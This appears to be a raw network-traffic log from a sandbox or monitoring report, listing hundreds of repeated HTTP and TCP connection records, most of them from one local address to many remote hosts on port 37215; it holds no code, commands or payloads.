Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 51838
Source: unknown	Network traffic detected: HTTP traffic on port 46152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:39480 -> 34.249.145.219:443

Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.41.200.146:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.27.57.146:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.241.203.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.213.129.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.56.46.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.201.7.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.132.153.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.162.138.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.78.116.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.255.82.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.175.139.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.32.170.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.128.143.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.116.24.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.63.72.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.0.143.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.249.214.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.164.49.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.85.135.254:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.63.12.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.222.200.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.56.34.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.33.217.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.67.125.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.60.160.245:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.79.27.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.96.27.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.49.65.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.232.34.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.51.122.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.18.29.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.149.180.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.41.70.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.230.167.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.96.127.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.104.229.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.20.114.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.32.47.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.70.94.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.233.112.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.225.91.121:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.48.90.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.139.26.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.184.98.211:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.128.72.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.244.65.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.251.252.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.1.96.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.102.191.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.34.255.50:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.112.248.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.239.93.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.21.196.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.152.54.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.226.56.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.60.6.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.229.192.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.115.40.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.203.36.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.171.110.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.57.233.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.41.52.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.74.201.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.204.50.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.56.203.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.147.26.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.207.105.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.142.184.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.96.200.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.42.247.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.44.19.40:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.143.135.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.21.3.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.66.108.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.166.31.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.56.185.164:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.157.155.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.94.69.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.75.91.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.167.100.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.109.222.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.181.34.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.106.89.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.169.79.238:37215
